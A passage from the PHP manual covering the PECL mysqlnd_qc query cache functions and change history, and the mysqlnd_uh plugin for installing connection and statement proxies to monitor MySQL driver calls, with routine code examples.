If condition_type equals MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN condition must be a string. The string sets a pattern. Statements are cached if table and database meta data entry of their result sets match the pattern. The pattern is checked for a match with the db and org_table meta data entries provided by the underlying MySQL client server library. Please, check the MySQL Reference manual for details about the two entries. The db and org_table values are concatenated with a dot (.) before matched against condition. Pattern matching supports the wildcards % and _. The wildcard % will match one or many arbitrary characters. _ will match one arbitrary character. The escape symbol is backslash.

condition_option

Option for condition. Type and structure depend on condition_type.

If condition_type equals MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN condition_options is the TTL to be used.

例

例1 mysqlnd_qc_set_cache_condition() example

<?php
/* Cache all accesses to tables with the name "new%" in schema/database "db_example" for 1 second */
if (!mysqlnd_qc_set_cache_condition(MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN, "db_example.new%", 1)) {
  die("Failed to set cache condition!");
}

$mysqli = new mysqli("host", "user", "password", "db_example", "port");
/* cached although no SQL hint given  */
$mysqli->query("SELECT id, title FROM news");

$pdo_mysql = new PDO("mysql:host=host;dbname=db_example;port=port", "user", "password");
/* not cached: no SQL hint, no pattern match */
$pdo_mysql->query("SELECT id, title FROM latest_news");
/* cached: TTL 1 second, pattern match */
$pdo_mysql->query("SELECT id, title FROM news");
?>

返り値

Returns TRUE on success or FALSE on FAILURE.

参考

  • Quickstart: pattern based caching

User Contributed Notes

There are no user contributed notes for this page.


Installs a callback which decides whether a statement is cached

  • ≪ mysqlnd_qc_set_cache_condition
  • mysqlnd_qc_set_storage_handler ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Installs a callback which decides whether a statement is cached

mysqlnd_qc_set_is_select

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_set_is_select — Installs a callback which decides whether a statement is cached

説明

mysqlnd_qc_set_is_select ( string $callback ) : mixed

Installs a callback which decides whether a statement is cached.

There are several ways of hinting PELC/mysqlnd_qc to cache a query. By default, PECL/mysqlnd_qc attempts to cache a if caching of all statements is enabled or the query string begins with a certain SQL hint. The plugin internally calls a function named is_select() to find out. This internal function can be replaced with a user-defined callback. Then, the user-defined callback is responsible to decide whether the plugin attempts to cache a statement. Because the internal function is replaced with the callback, the callback gains full control. The callback is free to ignore the configuration setting mysqlnd_qc.cache_by_default and SQL hints.

The callback is invoked for every statement inspected by the plugin. It is given the statements string as a parameter. The callback returns false if the statement shall not be cached. It returns true to make the plugin attempt to cache the statements result set, if any. A so-created cache entry is given the default TTL set with the PHP configuration directive mysqlnd_qc.ttl. If a different TTL shall be used, the callback returns a numeric value to be used as the TTL.

The internal is_select function is part of the internal cache storage handler interface. Thus, a user-defined storage handler offers the same capabilities.

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysqlnd_qc_set_is_select() example

<?php
/* callback which decides if query is cached */
function is_select($query) {
  static $patterns = array(
   /* true - use default from mysqlnd_qc.ttl */
   "@SELECT\s+.*\s+FROM\s+test@ismU" => true,
   /* 3 - use TTL = 3 seconds */
   "@SELECT\s+.*\s+FROM\s+news@ismU" => 3
  );
  /* check if query does match pattern */
  foreach ($patterns as $pattern => $ttl) {
    if (preg_match($pattern, $query)) {
      printf("is_select(%45s): cache\n", $query);
      return $ttl;
    }
  }
  printf("is_select(%45s): do not cache\n", $query);
  return false;
}
mysqlnd_qc_set_is_select("is_select");

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* cache put */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache hit */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache put */
$mysqli->query("SELECT * FROM test");
?>

上の例の出力は以下となります。

is_select(                    DROP TABLE IF EXISTS test): do not cache
is_select(                    CREATE TABLE test(id INT)): do not cache
is_select(    INSERT INTO test(id) VALUES (1), (2), (3)): do not cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(                           SELECT * FROM test): cache

参考

  • Runtime configuration
  • mysqlnd_qc.ttl
  • mysqlnd_qc.cache_by_default
  • mysqlnd_qc_set_user_handlers() - Sets the callback functions for a user-defined procedural storage handler

User Contributed Notes

There are no user contributed notes for this page.


Change current storage handler

  • ≪ mysqlnd_qc_set_is_select
  • mysqlnd_qc_set_user_handlers ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Change current storage handler

mysqlnd_qc_set_storage_handler

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_set_storage_handler — Change current storage handler

説明

mysqlnd_qc_set_storage_handler ( string $handler ) : bool

Sets the storage handler used by the query cache. A list of available storage handler can be obtained from mysqlnd_qc_get_available_handlers(). Which storage are available depends on the compile time configuration of the query cache plugin. The default storage handler is always available. All other storage handler must be enabled explicitly when building the extension.

パラメータ

handler

Handler can be of type string representing the name of a built-in storage handler or an object of type mysqlnd_qc_handler_default. The names of the built-in storage handler are default, APC, MEMCACHE, sqlite.

返り値

成功した場合に true を、失敗した場合に false を返します。

If changing the storage handler fails a catchable fatal error will be thrown. The query cache cannot operate if the previous storage handler has been shutdown but no new storage handler has been installed.

例

例1 mysqlnd_qc_set_storage_handler() example

The example shows the output from the built-in default storage handler. Other storage handler may report different data.

<?php
var_dump(mysqlnd_qc_set_storage_handler("memcache"));

if (true === mysqlnd_qc_set_storage_handler("default"))
  printf("Default storage handler activated");

/* Catchable fatal error */
var_dump(mysqlnd_qc_set_storage_handler("unknown"));
?>

上の例の出力は以下となります。

bool(true)
Default storage handler activated
Catchable fatal error: mysqlnd_qc_set_storage_handler(): Unknown handler 'unknown' in (file) on line (line)

参考

  • Installation
  • mysqlnd_qc_get_available_handlers() - Returns a list of available storage handler

User Contributed Notes

There are no user contributed notes for this page.


Sets the callback functions for a user-defined procedural storage handler

  • ≪ mysqlnd_qc_set_storage_handler
  • Change History ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Sets the callback functions for a user-defined procedural storage handler

mysqlnd_qc_set_user_handlers

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_set_user_handlers — Sets the callback functions for a user-defined procedural storage handler

説明

mysqlnd_qc_set_user_handlers ( string $get_hash , string $find_query_in_cache , string $return_to_cache , string $add_query_to_cache_if_not_exists , string $query_is_select , string $update_query_run_time_stats , string $get_stats , string $clear_cache ) : bool

Sets the callback functions for a user-defined procedural storage handler.

パラメータ

get_hash

Name of the user function implementing the storage handler get_hash functionality.

find_query_in_cache

Name of the user function implementing the storage handler find_in_cache functionality.

return_to_cache

Name of the user function implementing the storage handler return_to_cache functionality.

add_query_to_cache_if_not_exists

Name of the user function implementing the storage handler add_query_to_cache_if_not_exists functionality.

query_is_select

Name of the user function implementing the storage handler query_is_select functionality.

update_query_run_time_stats

Name of the user function implementing the storage handler update_query_run_time_stats functionality.

get_stats

Name of the user function implementing the storage handler get_stats functionality.

clear_cache

Name of the user function implementing the storage handler clear_cache functionality.

返り値

Returns TRUE on success or FALSE on FAILURE.

参考

  • Procedural user-defined storage handler example

User Contributed Notes

There are no user contributed notes for this page.


Change History

目次

  • PECL/mysqlnd_qc 1.2 series
  • PECL/mysqlnd_qc 1.1 series
  • PECL/mysqlnd_qc 1.0 series

This change history is a high level summary of selected changes that may impact applications and/or break backwards compatibility.

See also the CHANGES file in the source distribution for a complete list of changes.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_qc 1.2 series

1.2.0 - alpha

  • Release date: 03/2013
  • Motto/theme: PHP 5.5 compatibility

Feature changes

  • Update build for PHP 5.5 (Credits: Remi Collet)

  • APC storage handler update

    • Fix build for APC 3.1.13-beta and trunk

  • Introduced MYSQLND_QC_VERSION and MYSQLND_QC_VERSION_ID.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_qc 1.1 series

1.1.0 - stable

  • Release date: 04/2012
  • Motto/theme: PHP 5.4 compatibility, schema pattern based caching and mysqlnd_ms support

1.1.0 - beta

  • Release date: 04/2012
  • Motto/theme: PHP 5.4 compatibility, schema pattern based caching and mysqlnd_ms support

1.1.0 - alpha

  • Release date: 04/2012
  • Motto/theme: PHP 5.4 compatibility, schema pattern based caching and mysqlnd_ms support

Feature changes

  • APC storage handler update

    • Fix build for APC 3.1.9+
    • Note: Use of the APC storage handler is currently not recommended due to stability issues of APC itself.

  • New PHP configuration directives

    • mysqlnd_qc.collect_statistics_log_file. Aggregated cache statistics log file written after every 10th request served by the PHP process.
    • mysqlnd_qc.ignore_sql_comments. Control whether SQL comments are ignored for cache key hash generation.

  • New constants and SQL hints

    • MYSQLND_QC_SERVER_ID_SWITCH allows grouping of cache entries from different physical connections. This is needed by PECL/mysqlnd_ms.
    • MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN to be used with mysqlnd_qc_set_cache_condition().

  • New function mysqlnd_qc_set_cache_condition() for built-in schema pattern based caching. Likely to support a wider range of conditions in the future.

  • Report valid_until timestamp for cache entries of the default handler through mysqlnd_qc_get_cache_info().

  • Include charset number for cache entry hashing. This should prevent serving result sets which have the wrong charset.

    API change: get_hash_key expects new "charsetnr" (int) parameter after "port".

  • API change: changing is_select() signature from bool is_select() to mixed is_select(). Mixed can be either boolean or array(long ttl, string server_id). This is needed by PECL/mysqlnd_ms.

Other

  • Support acting as a cache backend for PECL/mysqlnd_ms 1.3.0-beta or later to transparently replace MySQL Replication slave reads with cache accesses, if the user explicitly allows.

Bug fixes

  • Fixed Bug #59959 (config.m4, wrong library - 64bit memcached handler builds) (Credits: Remi Collet)

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_qc 1.0 series

1.0.1-stable

  • Release date: 12/2010
  • Motto/theme: Prepared statement support

Added support for Prepared statements and unbuffered queries.

1.0.0-beta

  • Release date: 07/2010
  • Motto/theme: TTL-based cache with various storage options (Memcache, APC, SQLite, user-defined)

Initial public release of the transparent TTL-based query result cache. Flexible storage of cached results. Various storage media supported.

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd user handler plugin

  • はじめに
  • Quickstart and Examples
    • Setup
    • How it works
    • Installing a proxy
    • Basic query monitoring
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • MysqlndUhConnection — The MysqlndUhConnection class
    • MysqlndUhConnection::changeUser — Changes the user of the specified mysqlnd database connection
    • MysqlndUhConnection::charsetName — Returns the default character set for the database connection
    • MysqlndUhConnection::close — Closes a previously opened database connection
    • MysqlndUhConnection::connect — Open a new connection to the MySQL server
    • MysqlndUhConnection::__construct — The __construct purpose
    • MysqlndUhConnection::endPSession — End a persistent connection
    • MysqlndUhConnection::escapeString — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    • MysqlndUhConnection::getAffectedRows — Gets the number of affected rows in a previous MySQL operation
    • MysqlndUhConnection::getErrorNumber — Returns the error code for the most recent function call
    • MysqlndUhConnection::getErrorString — Returns a string description of the last error
    • MysqlndUhConnection::getFieldCount — Returns the number of columns for the most recent query
    • MysqlndUhConnection::getHostInformation — Returns a string representing the type of connection used
    • MysqlndUhConnection::getLastInsertId — Returns the auto generated id used in the last query
    • MysqlndUhConnection::getLastMessage — Retrieves information about the most recently executed query
    • MysqlndUhConnection::getProtocolInformation — Returns the version of the MySQL protocol used
    • MysqlndUhConnection::getServerInformation — Returns the version of the MySQL server
    • MysqlndUhConnection::getServerStatistics — Gets the current system status
    • MysqlndUhConnection::getServerVersion — Returns the version of the MySQL server as an integer
    • MysqlndUhConnection::getSqlstate — Returns the SQLSTATE error from previous MySQL operation
    • MysqlndUhConnection::getStatistics — Returns statistics about the client connection
    • MysqlndUhConnection::getThreadId — Returns the thread ID for the current connection
    • MysqlndUhConnection::getWarningCount — Returns the number of warnings from the last query for the given link
    • MysqlndUhConnection::init — Initialize mysqlnd connection
    • MysqlndUhConnection::killConnection — Asks the server to kill a MySQL thread
    • MysqlndUhConnection::listFields — List MySQL table fields
    • MysqlndUhConnection::listMethod — Wrapper for assorted list commands
    • MysqlndUhConnection::moreResults — Check if there are any more query results from a multi query
    • MysqlndUhConnection::nextResult — Prepare next result from multi_query
    • MysqlndUhConnection::ping — Pings a server connection, or tries to reconnect if the connection has gone down
    • MysqlndUhConnection::query — Performs a query on the database
    • MysqlndUhConnection::queryReadResultsetHeader — Read a result set header
    • MysqlndUhConnection::reapQuery — Get result from async query
    • MysqlndUhConnection::refreshServer — Flush or reset tables and caches
    • MysqlndUhConnection::restartPSession — Restart a persistent mysqlnd connection
    • MysqlndUhConnection::selectDb — Selects the default database for database queries
    • MysqlndUhConnection::sendClose — Sends a close command to MySQL
    • MysqlndUhConnection::sendQuery — Sends a query to MySQL
    • MysqlndUhConnection::serverDumpDebugInformation — Dump debugging information into the log for the MySQL server
    • MysqlndUhConnection::setAutocommit — Turns on or off auto-committing database modifications
    • MysqlndUhConnection::setCharset — Sets the default client character set
    • MysqlndUhConnection::setClientOption — Sets a client option
    • MysqlndUhConnection::setServerOption — Sets a server option
    • MysqlndUhConnection::shutdownServer — The shutdownServer purpose
    • MysqlndUhConnection::simpleCommand — Sends a basic COM_* command
    • MysqlndUhConnection::simpleCommandHandleResponse — Process a response for a basic COM_* command send to the client
    • MysqlndUhConnection::sslSet — Used for establishing secure connections using SSL
    • MysqlndUhConnection::stmtInit — Initializes a statement and returns a resource for use with mysqli_statement::prepare
    • MysqlndUhConnection::storeResult — Transfers a result set from the last query
    • MysqlndUhConnection::txCommit — Commits the current transaction
    • MysqlndUhConnection::txRollback — Rolls back current transaction
    • MysqlndUhConnection::useResult — Initiate a result set retrieval
  • MysqlndUhPreparedStatement — The MysqlndUhPreparedStatement class
    • MysqlndUhPreparedStatement::__construct — The __construct purpose
    • MysqlndUhPreparedStatement::execute — Executes a prepared Query
    • MysqlndUhPreparedStatement::prepare — Prepare an SQL statement for execution
  • Mysqlnd_uh 関数
    • mysqlnd_uh_convert_to_mysqlnd — Converts a MySQL connection handle into a mysqlnd connection handle
    • mysqlnd_uh_set_connection_proxy — Installs a proxy for mysqlnd connections
    • mysqlnd_uh_set_statement_proxy — Installs a proxy for mysqlnd statements
  • Change History
    • PECL/mysqlnd_uh 1.0 series

User Contributed Notes

paul at completewebservices dot com dot au 18-Sep-2018 09:48
This plugin will not compile and does not seem to be maintained.  It only ever made it to alpha.


はじめに

The mysqlnd user handler plugin (mysqlnd_uh) allows users to set hooks for most internal calls of the MySQL native driver for PHP (mysqlnd). Mysqlnd and its plugins, including PECL/mysqlnd_uh, operate on a layer beneath the PHP MySQL extensions. A mysqlnd plugin can be considered as a proxy between the PHP MySQL extensions and the MySQL server as part of the PHP executable on the client-side. Because the plugins operates on their own layer below the PHP MySQL extensions, they can monitor and change application actions without requiring application changes. If the PHP MySQL extensions (mysqli, mysql, PDO_MYSQL) are compiled to use mysqlnd this can be used for:

  • Monitoring

    • Queries executed by any of the PHP MySQL extensions

    • Prepared statements executing by any of the PHP MySQL extensions

  • Auditing

    • Detection of database usage

    • SQL injection protection using black and white lists

  • Assorted

    • Load Balancing connections

The MySQL native driver for PHP (mysqlnd) features an internal plugin C API. C plugins, such as the mysqlnd user handler plugin, can extend the functionality of mysqlnd. PECL/mysqlnd_uh makes parts of the internal plugin C API available to the PHP user for plugin development with PHP.

注意: Status

The mysqlnd user handler plugin is in alpha status. Take appropriate care before using it in production environments.

Security considerations

PECL/mysqlnd_uh gives users access to MySQL user names, MySQL password used by any of the PHP MySQL extensions to connect to MySQL. It allows monitoring of all queries and prepared statements exposing the statement string to the user. Therefore, the extension should be installed with care. The PHP_INI_SYSTEM configuration setting mysqlnd_uh.enable can be used to prevent users from hooking mysqlnd calls.

Code obfuscators and similar technologies are not suitable to prevent monitoring of mysqlnd library activities if PECL/mysqlnd_uh is made available and the user can install a proxy, for example, using auto_prepend_file.

Documentation note

Many of the mysqlnd_uh functions are briefly described because the mysqli extension is a thin abstraction layer on top of the MySQL C API that the mysqlnd library provides. Therefore, the corresponding mysqli documentation (along with the MySQL reference manual) can be consulted to receive more information about a particular function.

On the name

The shortcut mysqlnd_uh stands for mysqlnd user handler, and has been the name since early development.

User Contributed Notes

There are no user contributed notes for this page.


Quickstart and Examples

目次

  • Setup
  • How it works
  • Installing a proxy
  • Basic query monitoring

The mysqlnd user handler plugin can be understood as a client-side proxy for all PHP MySQL extensions (mysqli, mysql, PDO_MYSQL), if they are compiled to use the mysqlnd library. The extensions use the mysqlnd library internally, at the C level, to communicate with the MySQL server. PECL/mysqlnd_uh allows it to hook many mysqlnd calls. Therefore, most activities of the PHP MySQL extensions can be monitored.

Because monitoring happens at the level of the library, at a layer below the application, it is possible to monitor applications without changing them.

On the C level, the mysqlnd library is structured in modules or classes. The extension hooks almost all methods of the mysqlnd internal connection class and exposes them through the user space class MysqlndUhConnection. Some few methods of the mysqlnd internal statement class are made available to the PHP user with the class MysqlndUhPreparedStatement. By subclassing the classes MysqlndUhConnection and MysqlndUhPreparedStatement users get access to mysqlnd internal function calls.

注意:

The internal mysqlnd function calls are not designed to be exposed to the PHP user. Manipulating their activities may cause PHP to crash or leak memory. Often, this is not considered a bug. Please, keep in mind that you are accessing C library functions through PHP which are expected to take certain actions, which you may not be able to emulate in user space. Therefore, it is strongly recommended to always call the parent method implementation when subclassing MysqlndUhConnection or MysqlndUhPreparedStatement. To prevent the worst case, the extension performs some sanity checks. Please, see also the Mysqlnd_uh 設定オプション.

User Contributed Notes

There are no user contributed notes for this page.


Setup

The plugin is implemented as a PHP extension. See the installation instructions to install the » PECL/mysqlnd_uh extension. Then, load the extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_uh.enable. The below example shows the default settings of the extension.

例1 Enabling the plugin (php.ini)

mysqlnd_uh.enable=1
mysqlnd_uh.report_wrong_types=1

User Contributed Notes

There are no user contributed notes for this page.


How it works

This describes the background and inner workings of the mysqlnd_uh extension.

Two classes are provided by the extension: MysqlndUhConnection and MysqlndUhPreparedStatement. MysqlndUhConnection lets you access almost all methods of the mysqlnd internal connection class. The latter exposes some selected methods of the mysqlnd internal statement class. For example, MysqlndUhConnection::connect() maps to the mysqlnd library C function mysqlnd_conn__connect.

As a mysqlnd plugin, the PECL/mysqlnd_uh extension replaces mysqlnd library C functions with its own functions. Whenever a PHP MySQL extension compiled to use mysqlnd calls a mysqlnd function, the functions installed by the plugin are executed instead of the original mysqlnd ones. For example, mysqli_connect() invokes mysqlnd_conn__connect, so the connect function installed by PECL/mysqlnd_uh will be called. The functions installed by PECL/mysqlnd_uh are the methods of the built-in classes.

The built-in PHP classes and their methods do nothing but call their mysqlnd C library counterparts, to behave exactly like the original mysqlnd function they replace. The code below illustrates in pseudo-code what the extension does.

例1 Pseudo-code: what a built-in class does

class MysqlndUhConnection {
  public function connect(($conn, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
    MYSQLND* c_mysqlnd_connection = convert_from_php_to_c($conn);
    ...
    return call_c_function(mysqlnd_conn__connect(c_mysqlnd_connection, ...));
  }
}

The build-in classes behave like a transparent proxy. It is possible for you to replace the proxy with your own. This is done by subclassing MysqlndUhConnection or MysqlndUhPreparedStatement to extend the functionality of the proxy, followed by registering a new proxy object. Proxy objects are installed by mysqlnd_uh_set_connection_proxy() and mysqlnd_uh_set_statement_proxy().

例2 Installing a proxy

<?php
class proxy extends MysqlndUhConnection {
 public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
?>

上の例の出力は以下となります。

proxy::connect(array (
  0 => NULL,
  1 => 'localhost',
  2 => 'root',
  3 => '',
  4 => 'test',
  5 => 3306,
  6 => NULL,
  7 => 131072,
))
proxy::connect returns true

User Contributed Notes

There are no user contributed notes for this page.


Installing a proxy

The extension provides two built-in classes: MysqlndUhConnection and MysqlndUhPreparedStatement. The classes are used for hooking mysqlnd library calls. Their methods correspond to mysqlnd internal functions. By default they act like a transparent proxy and do nothing but call their mysqlnd counterparts. By subclassing the classes you can install your own proxy to monitor mysqlnd.

See also the How it works guide to learn about the inner workings of this extension.

Connection proxies are objects of the type MysqlndUhConnection. Connection proxy objects are installed by mysqlnd_uh_set_connection_proxy(). If you install the built-in class MysqlndUhConnection as a proxy, nothing happens. It behaves like a transparent proxy.

例1 Proxy registration, mysqlnd_uh.enable=1

<?php
mysqlnd_uh_set_connection_proxy(new MysqlndUhConnection());
$mysqli = new mysqli("localhost", "root", "", "test");
?>

The PHP_INI_SYSTEM configuration setting mysqlnd_uh.enable controls whether a proxy may be set. If disabled, the extension will throw errors of type E_WARNING

例2 Proxy installation disabled

mysqlnd_uh.enable=0
<?php
mysqlnd_uh_set_connection_proxy(new MysqlndUhConnection());
$mysqli = new mysqli("localhost", "root", "", "test");
?>

上の例の出力は以下となります。

PHP Warning:  MysqlndUhConnection::__construct(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enabled = false.  You must not use any of the base classes in %s on line %d
PHP Warning:  mysqlnd_uh_set_connection_proxy(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. The proxy has not been installed  in %s on line %d

To monitor mysqlnd, you have to write your own proxy object subclassing MysqlndUhConnection. Please, see the function reference for a the list of methods that can be subclassed. Alternatively, you can use reflection to inspect the built-in MysqlndUhConnection.

Create a new class proxy. Derive it from the built-in class MysqlndUhConnection. Replace the MysqlndUhConnection::connect(). method. Print out the host parameter value passed to the method. Make sure that you call the parent implementation of the connect method. Failing to do so may give unexpected and undesired results, including memory leaks and crashes.

Register your proxy and open three connections using the PHP MySQL extensions mysqli, mysql, PDO_MYSQL. If the extensions have been compiled to use the mysqlnd library, the proxy::connect method will be called three times, once for each connection opened.

例3 Connection proxy

<?php
class proxy extends MysqlndUhConnection {
  public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
   printf("Connection opened to '%s'\n", $host);
   /* Always call the parent implementation! */
   return parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);
  }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysql = mysql_connect("localhost", "root", "");
$pdo = new PDO("mysql:host=localhost;dbname=test", "root", "");
?>

上の例の出力は以下となります。

Connection opened to 'localhost'
Connection opened to 'localhost'
Connection opened to 'localhost'

The use of prepared statement proxies follows the same pattern: create a proxy object of the type MysqlndUhPreparedStatement and install the proxy using mysqlnd_uh_set_statement_proxy().

例4 Prepared statement proxy

<?php
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function prepare($res, $query) {
  printf("%s(%s)\n", __METHOD__, $query);
  return parent::prepare($res, $query);
 }
}
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 'mysqlnd hacking made easy' AS _msg FROM DUAL");
?>

上の例の出力は以下となります。

stmt_proxy::prepare(SELECT 'mysqlnd hacking made easy' AS _msg FROM DUAL)

User Contributed Notes

There are no user contributed notes for this page.


Basic query monitoring

Basic monitoring of a query statement is easy with PECL/mysqlnd_uh. Combined with debug_print_backtrace() it can become a powerful tool, for example, to find the origin of certain statement. This may be desired when searching for slow queries but also after database refactoring to find code still accessing deprecated databases or tables. The latter may be a complicated matter to do otherwise, especially if the application uses auto-generated queries.

例1 Basic Monitoring

<?php
class conn_proxy extends MysqlndUhConnection {
 public function query($res, $query) {
  debug_print_backtrace();
  return parent::query($res, $query);
 }
}
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function prepare($res, $query) {
  debug_print_backtrace();
  return parent::prepare($res, $query);
 }
}
mysqlnd_uh_set_connection_proxy(new conn_proxy());
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

printf("Proxies installed...\n");
$pdo = new PDO("mysql:host=localhost;dbname=test", "root", "");
var_dump($pdo->query("SELECT 1 AS _one FROM DUAL")->fetchAll(PDO::FETCH_ASSOC));

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->prepare("SELECT 1 AS _two FROM DUAL");
?>

上の例の出力は以下となります。

#0  conn_proxy->query(Resource id #19, SELECT 1 AS _one FROM DUAL)
#1  PDO->query(SELECT 1 AS _one FROM DUAL) called at [example.php:19]
array(1) {
  [0]=>
  array(1) {
    ["_one"]=>
    string(1) "1"
  }
}
#0  stmt_proxy->prepare(Resource id #753, SELECT 1 AS _two FROM DUAL)
#1  mysqli->prepare(SELECT 1 AS _two FROM DUAL) called at [example.php:22]

For basic query monitoring you should install a connection and a prepared statement proxy. The connection proxy should subclass MysqlndUhConnection::query(). All database queries not using native prepared statements will call this method. In the example the query function is invoked by a PDO call. By default, PDO_MySQL is using prepared statement emulation.

All native prepared statements are prepared with the prepare method of mysqlnd exported through MysqlndUhPreparedStatement::prepare(). Subclass MysqlndUhPreparedStatement and overwrite prepare for native prepared statement monitoring.

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP 5.3.3 or later. It is recommended to use PHP 5.4.0 or later to get access to the latest mysqlnd features.

The mysqlnd_uh user handler plugin supports all PHP applications and all available PHP MySQL extensions (mysqli, mysql, PDO_MYSQL). The PHP MySQL extension must be configured to use mysqlnd in order to be able to use the mysqlnd_uh plugin for mysqlnd.

The alpha versions makes use of some mysqli features. You must enable mysqli to compile the plugin. This requirement may be removed in the future. Note, that this requirement does not restrict you to use the plugin only with mysqli. You can use the plugin to monitor mysql, mysqli and PDO_MYSQL.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mysqlnd-uh

PECL/mysqlnd_uh is currently not available on Windows. The source code of the extension makes use of C99 constructs not allowed with PHP Windows builds.

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Mysqlnd_uh 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mysqlnd_uh.enable | 1 | PHP_INI_SYSTEM |
mysqlnd_uh.report_wrong_types | 1 | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

mysqlnd_uh.enable int

Enables or disables the plugin. If set to disabled, the extension will not allow users to plug into mysqlnd to hook mysqlnd calls.

mysqlnd_uh.report_wrong_types int

Whether to report wrong return value types of user hooks as E_WARNING level errors. This is recommended for detecting errors.

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

Most of the constants refer to details of the MySQL Client Server Protocol. Please, refer to the MySQL reference manual to learn about their meaning. To avoid content duplication, only short descriptions are given.

MysqlndUhConnection::simpleCommand() related

The following constants can be used to detect what command is to be send through MysqlndUhConnection::simpleCommand().

MYSQLND_UH_MYSQLND_COM_SLEEP (int)
MySQL Client Server protocol command: COM_SLEEP.
MYSQLND_UH_MYSQLND_COM_QUIT (int)
MySQL Client Server protocol command: COM_QUIT.
MYSQLND_UH_MYSQLND_COM_INIT_DB (int)
MySQL Client Server protocol command: COM_INIT_DB.
MYSQLND_UH_MYSQLND_COM_QUERY (int)
MySQL Client Server protocol command: COM_QUERY.
MYSQLND_UH_MYSQLND_COM_FIELD_LIST (int)
MySQL Client Server protocol command: COM_FIELD_LIST.
MYSQLND_UH_MYSQLND_COM_CREATE_DB (int)
MySQL Client Server protocol command: COM_CREATE_DB.
MYSQLND_UH_MYSQLND_COM_DROP_DB (int)
MySQL Client Server protocol command: COM_DROP_DB.
MYSQLND_UH_MYSQLND_COM_REFRESH (int)
MySQL Client Server protocol command: COM_REFRESH.
MYSQLND_UH_MYSQLND_COM_SHUTDOWN (int)
MySQL Client Server protocol command: COM_SHUTDOWN.
MYSQLND_UH_MYSQLND_COM_STATISTICS (int)
MySQL Client Server protocol command: COM_STATISTICS.
MYSQLND_UH_MYSQLND_COM_PROCESS_INFO (int)
MySQL Client Server protocol command: COM_PROCESS_INFO.
MYSQLND_UH_MYSQLND_COM_CONNECT (int)
MySQL Client Server protocol command: COM_CONNECT.
MYSQLND_UH_MYSQLND_COM_PROCESS_KILL (int)
MySQL Client Server protocol command: COM_PROCESS_KILL.
MYSQLND_UH_MYSQLND_COM_DEBUG (int)
MySQL Client Server protocol command: COM_DEBUG.
MYSQLND_UH_MYSQLND_COM_PING (int)
MySQL Client Server protocol command: COM_PING.
MYSQLND_UH_MYSQLND_COM_TIME (int)
MySQL Client Server protocol command: COM_TIME.
MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT (int)
MySQL Client Server protocol command: COM_DELAYED_INSERT.
MYSQLND_UH_MYSQLND_COM_CHANGE_USER (int)
MySQL Client Server protocol command: COM_CHANGE_USER.
MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP (int)
MySQL Client Server protocol command: COM_BINLOG_DUMP.
MYSQLND_UH_MYSQLND_COM_TABLE_DUMP (int)
MySQL Client Server protocol command: COM_TABLE_DUMP.
MYSQLND_UH_MYSQLND_COM_CONNECT_OUT (int)
MySQL Client Server protocol command: COM_CONNECT_OUT.
MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED (int)
MySQL Client Server protocol command: COM_REGISTER_SLAVED.
